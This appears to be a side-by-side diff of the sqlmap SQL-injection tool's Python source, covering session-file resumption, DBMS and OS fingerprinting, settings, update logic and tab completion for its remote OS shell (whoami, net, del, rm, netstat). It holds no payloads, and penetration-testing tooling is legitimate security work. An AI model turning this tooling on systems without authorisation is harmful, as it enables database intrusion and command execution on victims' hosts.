Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -35,9 +35,9 @@ class ProgressBar:
def __init__(self, minValue=0, maxValue=10, totalWidth=54): def __init__(self, minValue=0, maxValue=10, totalWidth=54):
self.__progBar = "[]" self.__progBar = "[]"
self.__oldProgBar = "" self.__oldProgBar = ""
self.__min = minValue self.__min = int(minValue)
self.__max = maxValue self.__max = int(maxValue)
self.__span = maxValue - minValue self.__span = self.__max - self.__min
self.__width = totalWidth self.__width = totalWidth
self.__amount = 0 self.__amount = 0
self.update() self.update()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -31,8 +31,9 @@ boolean and _outputfile variable used in genutils.
import sys import sys
from lib.core.data import logger from lib.core.data import logger
from lib.core.settings import IS_WIN
from lib.core.settings import PLATFORM
try: try:
@@ -49,7 +50,7 @@ except ImportError:
except ImportError: except ImportError:
haveReadline = False haveReadline = False
if sys.platform == 'win32' and haveReadline: if IS_WIN is True and haveReadline:
try: try:
_outputfile=_rl.GetOutputFile() _outputfile=_rl.GetOutputFile()
except AttributeError: except AttributeError:
@@ -63,7 +64,7 @@ if sys.platform == 'win32' and haveReadline:
# Thanks to Boyd Waters for this patch. # Thanks to Boyd Waters for this patch.
uses_libedit = False uses_libedit = False
if sys.platform == 'darwin' and haveReadline: if PLATFORM == 'darwin' and haveReadline:
import commands import commands
(status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ ) (status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ )

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -27,12 +27,16 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re import re
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import formatFingerprintString
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
def setString(): def setString():
""" """
@@ -48,6 +52,31 @@ def setString():
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string)) dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setRegexp():
"""
Save regular expression to match in session file.
"""
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Regular expression") )
)
if condition:
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def setMatchRatio():
condition = (
not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Match ratio") )
)
if condition:
dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio))
def setInjection(): def setInjection():
""" """
Save information retrieved about injection place and parameter in the Save information retrieved about injection place and parameter in the
@@ -106,8 +135,10 @@ def setDbms(dbms):
if condition: if condition:
dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms)) dataToSessionFile("[%s][%s][%s][DBMS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], dbms))
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES])) "|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I) dbmsRegExp = re.search("^%s" % firstRegExp, dbms, re.I)
if dbmsRegExp: if dbmsRegExp:
@@ -115,6 +146,69 @@ def setDbms(dbms):
kb.dbms = dbms kb.dbms = dbms
logger.info("the back-end DBMS is %s" % kb.dbms)
def setOs():
"""
Example of kb.bannerFp dictionary:
{
'sp': set(['Service Pack 4']),
'dbmsVersion': '8.00.194',
'dbmsServicePack': '0',
'distrib': set(['2000']),
'dbmsRelease': '2000',
'type': set(['Windows'])
}
"""
infoMsg = ""
condition = (
not kb.resumedQueries
or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("OS") )
)
if not kb.bannerFp:
return
if "type" in kb.bannerFp:
kb.os = formatFingerprintString(kb.bannerFp["type"])
infoMsg = "the back-end DBMS operating system is %s" % kb.os
if "distrib" in kb.bannerFp:
kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"])
infoMsg += " %s" % kb.osVersion
if "sp" in kb.bannerFp:
kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", ""))
elif "sp" not in kb.bannerFp and kb.os == "Windows":
kb.osSP = 0
if kb.os and kb.osVersion:
infoMsg += " Service Pack %d" % kb.osSP
if infoMsg:
logger.info(infoMsg)
if condition:
dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os))
def setStacked():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Stacked queries") )
)
if not isinstance(kb.stackedTest, str):
return
if condition:
dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest))
def setUnion(comment=None, count=None, position=None): def setUnion(comment=None, count=None, position=None):
""" """
@@ -156,6 +250,27 @@ def setUnion(comment=None, count=None, position=None):
kb.unionPosition = position kb.unionPosition = position
def setRemoteTempPath():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Remote temp path") )
)
if condition:
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
def setDEP():
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("DEP") )
)
if condition:
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
def resumeConfKb(expression, url, value): def resumeConfKb(expression, url, value):
if expression == "String" and url == conf.url: if expression == "String" and url == conf.url:
string = value[:-1] string = value[:-1]
@@ -178,6 +293,36 @@ def resumeConfKb(expression, url, value):
if not test or test[0] in ("y", "Y"): if not test or test[0] in ("y", "Y"):
conf.string = string conf.string = string
elif expression == "Regular expression" and url == conf.url:
regexp = value[:-1]
logMsg = "resuming regular expression match '%s' from session file" % regexp
logger.info(logMsg)
if regexp and ( not conf.regexp or regexp != conf.regexp ):
if not conf.regexp:
message = "you did not provide any regular expression "
message += "to match. "
else:
message = "The regular expression you provided does not "
message += "match the resumed regular expression. "
message += "Do you want to use the resumed regular expression "
message += "to be matched in page when the query "
message += "is valid? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
conf.regexp = regexp
elif expression == "Match ratio" and url == conf.url:
matchRatio = value[:-1]
logMsg = "resuming match ratio '%s' from session file" % matchRatio
logger.info(logMsg)
conf.matchRatio = round(float(matchRatio), 3)
elif expression == "Injection point" and url == conf.url: elif expression == "Injection point" and url == conf.url:
injPlace = value[:-1] injPlace = value[:-1]
@@ -227,20 +372,23 @@ def resumeConfKb(expression, url, value):
logger.info(logMsg) logger.info(logMsg)
elif expression == "DBMS" and url == conf.url: elif expression == "DBMS" and url == conf.url:
dbms = value[:-1] dbms = value[:-1]
dbms = dbms.lower()
dbmsVersion = None
logMsg = "resuming back-end DBMS '%s' " % dbms logMsg = "resuming back-end DBMS '%s' " % dbms
logMsg += "from session file" logMsg += "from session file"
logger.info(logMsg) logger.info(logMsg)
dbms = dbms.lower() firstRegExp = "(%s|%s|%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), "|".join([alias for alias in MYSQL_ALIASES]),
"|".join([alias for alias in MYSQL_ALIASES])) "|".join([alias for alias in PGSQL_ALIASES]),
"|".join([alias for alias in ORACLE_ALIASES]))
dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms) dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms)
if dbmsRegExp: if dbmsRegExp:
dbms = dbmsRegExp.group(1) dbms = dbmsRegExp.group(1)
kb.dbmsVersion = [dbmsRegExp.group(2)] dbmsVersion = [ dbmsRegExp.group(2) ]
if conf.dbms and conf.dbms.lower() != dbms: if conf.dbms and conf.dbms.lower() != dbms:
message = "you provided '%s' as back-end DBMS, " % conf.dbms message = "you provided '%s' as back-end DBMS, " % conf.dbms
@@ -251,9 +399,39 @@ def resumeConfKb(expression, url, value):
test = readInput(message, default="N") test = readInput(message, default="N")
if not test or test[0] in ("n", "N"): if not test or test[0] in ("n", "N"):
conf.dbms = dbms conf.dbms = dbms
kb.dbmsVersion = dbmsVersion
else: else:
conf.dbms = dbms conf.dbms = dbms
kb.dbmsVersion = dbmsVersion
elif expression == "OS" and url == conf.url:
os = value[:-1]
logMsg = "resuming back-end DBMS operating system '%s' " % os
logMsg += "from session file"
logger.info(logMsg)
if conf.os and conf.os.lower() != os.lower():
message = "you provided '%s' as back-end DBMS operating " % conf.os
message += "system, but from a past scan information on the "
message += "target URL sqlmap assumes the back-end DBMS "
message += "operating system is %s. " % os
message += "Do you really want to force the back-end DBMS "
message += "OS value? [y/N] "
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.os = os
else:
conf.os = os
elif expression == "Stacked queries" and url == conf.url:
kb.stackedTest = value[:-1]
logMsg = "resuming stacked queries syntax "
logMsg += "'%s' from session file" % kb.stackedTest
logger.info(logMsg)
elif expression == "Union comment" and url == conf.url: elif expression == "Union comment" and url == conf.url:
kb.unionComment = value[:-1] kb.unionComment = value[:-1]
@@ -275,3 +453,17 @@ def resumeConfKb(expression, url, value):
logMsg = "resuming union position " logMsg = "resuming union position "
logMsg += "%s from session file" % kb.unionPosition logMsg += "%s from session file" % kb.unionPosition
logger.info(logMsg) logger.info(logMsg)
elif expression == "Remote temp path" and url == conf.url:
conf.tmpPath = value[:-1]
logMsg = "resuming remote absolute path of temporary "
logMsg += "files directory '%s' from session file" % conf.tmpPath
logger.info(logMsg)
elif expression == "DEP" and url == conf.url:
kb.dep = value[:-1]
logMsg = "resuming DEP system policy value '%s' " % kb.dep
logMsg += "from session file"
logger.info(logMsg)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -25,18 +25,19 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import logging import logging
import os import subprocess
import sys import sys
# sqlmap version and site # sqlmap version and site
VERSION = "0.6.2" VERSION = "0.7"
VERSION_STRING = "sqlmap/%s" % VERSION VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net" SITE = "http://sqlmap.sourceforge.net"
# sqlmap logger # sqlmap logger
logging.addLevelName(9, "TRAFFIC OUT") logging.addLevelName(9, "TRAFFIC OUT")
logging.addLevelName(8, "TRAFFIC IN") logging.addLevelName(8, "TRAFFIC IN")
LOGGER = logging.getLogger("sqlmapLog") LOGGER = logging.getLogger("sqlmapLog")
LOGGER_HANDLER = logging.StreamHandler(sys.stdout) LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S")
@@ -45,22 +46,72 @@ LOGGER_HANDLER.setFormatter(FORMATTER)
LOGGER.addHandler(LOGGER_HANDLER) LOGGER.addHandler(LOGGER_HANDLER)
LOGGER.setLevel(logging.WARN) LOGGER.setLevel(logging.WARN)
# System variables
IS_WIN = subprocess.mswindows
PLATFORM = sys.platform.lower()
PYVERSION = sys.version.split()[0]
# Url to update Microsoft SQL Server XML versions file from # Url to update Microsoft SQL Server XML versions file from
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
# Url to update sqlmap from # Urls to update sqlmap from
SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE
SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip" SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
# Database managemen system specific variables # Database managemen system specific variables
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" ) MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql" MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" ) PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ] MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ] MYSQL_ALIASES = [ "mysql", "my" ]
PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ] PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
SUPPORTED_OS = ( "linux", "windows" )
SQL_STATEMENTS = {
"SQL SELECT statement": (
"select ",
"show ",
" top ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ", ),
"SQL data definition": (
"create ",
"declare ",
"drop ",
"truncate ",
"alter ", ),
"SQL data manipulation": (
"insert ",
"update ",
"delete ",
"merge ", ),
"SQL data control": (
"grant ", ),
"SQL data execution": (
"execute ", ),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
}

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -54,6 +54,8 @@ def queriesForAutoCompletion():
autoComplQuery = query autoComplQuery = query
elif isinstance(query, dict) and "inband" in query: elif isinstance(query, dict) and "inband" in query:
autoComplQuery = query["inband"]["query"] autoComplQuery = query["inband"]["query"]
else:
continue
autoComplQueries[autoComplQuery] = None autoComplQueries[autoComplQuery] = None
@@ -71,8 +73,8 @@ class CompleterNG(rlcompleter.Completer):
matches = [] matches = []
n = len(text) n = len(text)
for list in [ self.namespace ]: for ns in [ self.namespace ]:
for word in list: for word in ns:
if word[:n] == text: if word[:n] == text:
matches.append(word) matches.append(word)
@@ -88,13 +90,23 @@ def autoCompletion(sqlShell=False, osShell=False):
if sqlShell: if sqlShell:
completer = CompleterNG(queriesForAutoCompletion()) completer = CompleterNG(queriesForAutoCompletion())
elif osShell: elif osShell:
# TODO: add more operating system commands; differentiate commands if kb.os == "Windows":
# based on future operating system fingerprint # Reference: http://en.wikipedia.org/wiki/List_of_DOS_commands
completer = CompleterNG({ completer = CompleterNG({
"id": None, "ifconfig": None, "ls": None, "copy": None, "del": None, "dir": None,
"netstat -natu": None, "pwd": None, "echo": None, "md": None, "mem": None,
"uname": None, "whoami": None, "move": None, "net": None, "netstat -na": None,
}) "ver": None, "xcopy": None, "whoami": None,
})
else:
# Reference: http://en.wikipedia.org/wiki/List_of_Unix_commands
completer = CompleterNG({
"cp": None, "rm": None, "ls": None,
"echo": None, "mkdir": None, "free": None,
"mv": None, "ifconfig": None, "netstat -natu": None,
"pwd": None, "uname": None, "id": None,
})
readline.set_completer(completer.complete) readline.set_completer(completer.complete)
readline.parse_and_bind("tab: complete") readline.parse_and_bind("tab: complete")

94
lib/core/subprocessng.py Normal file
View File

@@ -0,0 +1,94 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import errno
import os
import sys
import time
from lib.core.settings import IS_WIN
if IS_WIN is not True:
import fcntl
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
def blockingReadFromFD(fd):
# Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor
output = ""
while True:
try:
output += os.read(fd, 8192)
except (OSError, IOError), ioe:
if ioe.args[0] in (errno.EAGAIN, errno.EINTR):
# Uncomment the following line if the process seems to
# take a huge amount of cpu time
# time.sleep(0.01)
continue
else:
raise
break
if not output:
raise EOFError, "fd %s has been closed." % fd
return output
def blockingWriteToFD(fd, data):
# Another quick twist
while True:
try:
data_length = len(data)
wrote_data = os.write(fd, data)
except (OSError, IOError), io:
if io.errno in (errno.EAGAIN, errno.EINTR):
continue
else:
raise
if wrote_data < data_length:
blockingWriteToFD(fd, data[wrote_data:])
break
def setNonBlocking(fd):
"""
Make a file descriptor non-blocking
"""
if IS_WIN is not True:
flags = fcntl.fcntl(fd, FCNTL.F_GETFL)
flags = flags | os.O_NONBLOCK
fcntl.fcntl(fd, FCNTL.F_SETFL, flags)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -25,17 +25,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os import os
import re
import time import time
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import paramToDict from lib.core.common import paramToDict
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import readInput
from lib.core.convert import urldecode from lib.core.convert import urldecode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.dump import dumper from lib.core.dump import dumper
from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapFilePathException
@@ -77,7 +74,9 @@ def __setRequestParams():
# Perform checks on Cookie parameters # Perform checks on Cookie parameters
if conf.cookie: if conf.cookie:
urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%") # TODO: sure about decoding the cookie?
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
urlDecodedCookie = conf.cookie.replace("%", "%%")
conf.parameters["Cookie"] = urlDecodedCookie conf.parameters["Cookie"] = urlDecodedCookie
__paramDict = paramToDict("Cookie", urlDecodedCookie) __paramDict = paramToDict("Cookie", urlDecodedCookie)
@@ -197,6 +196,20 @@ def initTargetEnv():
Initialize target environment. Initialize target environment.
""" """
if conf.multipleTargets:
conf.paramDict = {}
conf.parameters = {}
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.injParameter = None
kb.injPlace = None
kb.injType = None
kb.parenthesis = None
kb.unionComment = ""
kb.unionCount = None
kb.unionPosition = None
parseTargetUrl() parseTargetUrl()
__setRequestParams() __setRequestParams()
__setOutputResume() __setOutputResume()

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
@@ -28,6 +28,7 @@ import difflib
import os import os
import re import re
import shutil import shutil
import sys
import tempfile import tempfile
import urlparse import urlparse
import zipfile import zipfile
@@ -53,7 +54,7 @@ def __updateMSSQLXML():
logger.info(infoMsg) logger.info(infoMsg)
try: try:
mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True) mssqlVersionsHtmlString, _ = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
except sqlmapConnectionException, _: except sqlmapConnectionException, _:
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL) __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
__mssqlHostname = __mssqlPath[1] __mssqlHostname = __mssqlPath[1]
@@ -108,12 +109,15 @@ def __updateMSSQLXML():
servicePack = servicePack[:servicePack.index("-")] servicePack = servicePack[:servicePack.index("-")]
if "*" in servicePack: if "*" in servicePack:
servicePack = servicePack[:servicePack.index("*")] servicePack = servicePack[:servicePack.index("*")]
if servicePack.startswith("+"):
servicePack = "0%s" % servicePack
servicePack = servicePack.replace("\t", " ") servicePack = servicePack.replace("\t", " ")
servicePack = servicePack.replace(" ", " ") servicePack = servicePack.replace(" ", " ")
servicePack = servicePack.replace("No SP", "0") servicePack = servicePack.replace("No SP", "0")
servicePack = servicePack.replace("RTM", "0") servicePack = servicePack.replace("RTM", "0")
servicePack = servicePack.replace("SP", "") servicePack = servicePack.replace("SP", "")
servicePack = servicePack.replace("Service Pack", "")
servicePack = servicePack.replace("<a href=\"http:", "") servicePack = servicePack.replace("<a href=\"http:", "")
if servicePack.endswith(" "): if servicePack.endswith(" "):
@@ -188,13 +192,8 @@ def __updateMSSQLXML():
logger.info(infoMsg) logger.info(infoMsg)
# Compare the old XML file with the new one # Compare the old XML file with the new one
differ = difflib.Differ() diff = difflib.unified_diff(oldMssqlXmlList, newMssqlXmlList, "%s.bak" % paths.MSSQL_XML, paths.MSSQL_XML)
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList)) sys.stdout.writelines(diff)
# Show only the different lines
for line in differences:
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
print line.strip("\n")
else: else:
infoMsg = "no new Microsoft SQL Server versions since the " infoMsg = "no new Microsoft SQL Server versions since the "
infoMsg += "last update" infoMsg += "last update"
@@ -209,7 +208,7 @@ def __createFile(pathname, data):
fileFP.close() fileFP.close()
def __extractZipFile(tempDir, zipFile, sqlmapNewestVersion): def __extractZipFile(tempDir, zipFile):
# Check if the saved binary file is really a ZIP file # Check if the saved binary file is really a ZIP file
if zipfile.is_zipfile(zipFile): if zipfile.is_zipfile(zipFile):
sqlmapZipFile = zipfile.ZipFile(zipFile) sqlmapZipFile = zipfile.ZipFile(zipFile)
@@ -231,7 +230,7 @@ def __updateSqlmap():
logger.debug(debugMsg) logger.debug(debugMsg)
try: try:
sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True) sqlmapNewestVersion, _ = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
except sqlmapConnectionException, _: except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL) __sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
__sqlmapHostname = __sqlmapPath[1] __sqlmapHostname = __sqlmapPath[1]
@@ -243,11 +242,10 @@ def __updateSqlmap():
return return
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "") sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
sqlmapNewestVersion = "0.6.1"
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion): if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
errMsg = "sqlmap version is in a wrong syntax" errMsg = "sqlmap version is in a wrong syntax"
logger.errMsg(errMsg) logger.error(errMsg)
return return
@@ -263,7 +261,7 @@ def __updateSqlmap():
logger.info(infoMsg) logger.info(infoMsg)
elif sqlmapNewestVersion < VERSION: elif sqlmapNewestVersion < VERSION:
infoMsg = "if you are running a version of sqlmap more updated than " infoMsg = "you are running a version of sqlmap more updated than "
infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion
logger.info(infoMsg) logger.info(infoMsg)
@@ -272,7 +270,7 @@ def __updateSqlmap():
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
try: try:
sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True) sqlmapBinaryString, _ = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
except sqlmapConnectionException, _: except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl) __sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
